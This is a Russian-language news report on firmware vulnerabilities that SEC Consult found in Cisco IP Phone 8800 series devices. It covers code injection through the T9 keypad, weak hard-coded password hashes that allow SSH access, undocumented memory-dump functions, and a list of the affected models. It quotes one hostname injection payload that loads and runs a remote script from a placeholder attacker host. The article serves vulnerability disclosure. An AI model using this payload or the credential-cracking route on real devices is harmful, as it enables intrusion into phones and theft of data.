Выявлен целый ряд проблем в программных оболочках систем интернет-телефонии Cisco VoIP Phone 8800
Выявлен целый ряд проблем в программных оболочках систем интернет-телефонии Cisco VoIP Phone 8800
Выявлен целый ряд проблем в программных оболочках популярных систем интернет-телефонии Cisco VoIP Phone 8800.
Как отмечается, одна из ключевых проблем заключается в возможности инъекции JavaScript-подобного кода с помощью встроенной клавиатуры T9. Иными словами, злоумышленник может использовать встроенную цифро-буквенную клавиатуру VoIP-телефона для ввода вредоносного кода.
Например, имя хоста телефона можно подменить на код примерно такого содержания:
hostname`><img src=http://$IP/sec.js onload=exec()>,
И он добросовестно скачает посторонний файл (sec.js) с удаленного источника и запустит его.
Помимо этого, в программной оболочке телефонов содержатся многочисленные устаревшие — и, следовательно, небезопасные — библиотеки кода, а также жестко закодированные реквизиты доступа. Они хранятся в виде хэшей в файле с красноречивым названием /etc/passwd; хэширование произведено с помощью устаревшего алгоритма UNIXMD5+salt, вдобавок, как оказалось, сами пароли очень слабые, так что вскрыть их и получить доступ к устройству через SSH оказалось весьма тривиальной задачей.
Обнаружить уязвимости удалось с помощью собственной платформы SEC Consult — IoT Inspector, предназначенной для поиска проблем в программных оболочках устройствах интернета вещей.
Был также произведен ручной анализ, позволивший выявить в «прошивке» телефонов незадокументированные, но легко эксплуатируемые функции, позволяющие потенциальному злоумышленнику выводить дампы памяти и, соответственно, красть данные.
Описанные уязвимости выявлены в программной оболочке Cisco IP Phone 88xx версии 2-0-1 ES-15 (ID: f86aa7612d9311e6).[1] По сведениям, предоставленных самой корпорацией Cisco, уязвимости затрагивают следующие модели:
- IP Conference Phone 8832
- IP Phone 8811
- IP Phone 8841
- IP Phone 8845
- IP Phone 8851
- IP Phone 8861
- IP Phone 8865
- Unified IP Conference Phone 8831
- Wireless IP Phone 8821
- Wireless IP Phone 8821-EX
